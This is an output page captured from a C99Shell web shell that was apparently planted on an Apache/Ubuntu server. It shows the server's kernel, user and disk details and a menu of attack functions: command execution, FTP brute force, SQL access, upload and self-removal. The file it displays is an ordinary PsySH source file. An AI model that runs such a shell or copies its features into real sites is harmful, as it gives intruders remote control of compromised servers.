!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/psy/psysh/src/CodeCleaner/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FunctionReturnInWriteContextPass.php (2.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2020 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\CodeCleaner;

use 
PhpParser\Node;
use 
PhpParser\Node\Expr\Array_;
use 
PhpParser\Node\Expr\Assign;
use 
PhpParser\Node\Expr\FuncCall;
use 
PhpParser\Node\Expr\Isset_;
use 
PhpParser\Node\Expr\MethodCall;
use 
PhpParser\Node\Expr\StaticCall;
use 
PhpParser\Node\Stmt\Unset_;
use 
Psy\Exception\FatalErrorException;

/**
 * Validate that the functions are used correctly.
 *
 * @author Martin HasoĊˆ <martin.hason@gmail.com>
 */
class FunctionReturnInWriteContextPass extends CodeCleanerPass
{
    const 
ISSET_MESSAGE 'Cannot use isset() on the result of an expression (you can use "null !== expression" instead)';
    const 
EXCEPTION_MESSAGE "Can't use function return value in write context";

    
/**
     * Validate that the functions are used correctly.
     *
     * @throws FatalErrorException if a function is passed as an argument reference
     * @throws FatalErrorException if a function is used as an argument in the isset
     * @throws FatalErrorException if a value is assigned to a function
     *
     * @param Node $node
     */
    
public function enterNode(Node $node)
    {
        if (
$node instanceof Array_ || $this->isCallNode($node)) {
            
$items $node instanceof Array_ $node->items $node->args;
            foreach (
$items as $item) {
                if (
$item && $item->byRef && $this->isCallNode($item->value)) {
                    throw new 
FatalErrorException(self::EXCEPTION_MESSAGE0\E_ERRORnull$node->getLine());
                }
            }
        } elseif (
$node instanceof Isset_ || $node instanceof Unset_) {
            foreach (
$node->vars as $var) {
                if (!
$this->isCallNode($var)) {
                    continue;
                }

                
$msg $node instanceof Isset_ self::ISSET_MESSAGE self::EXCEPTION_MESSAGE;
                throw new 
FatalErrorException($msg0\E_ERRORnull$node->getLine());
            }
        } elseif (
$node instanceof Assign && $this->isCallNode($node->var)) {
            throw new 
FatalErrorException(self::EXCEPTION_MESSAGE0\E_ERRORnull$node->getLine());
        }
    }

    private function 
isCallNode(Node $node)
    {
        return 
$node instanceof FuncCall || $node instanceof MethodCall || $node instanceof StaticCall;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--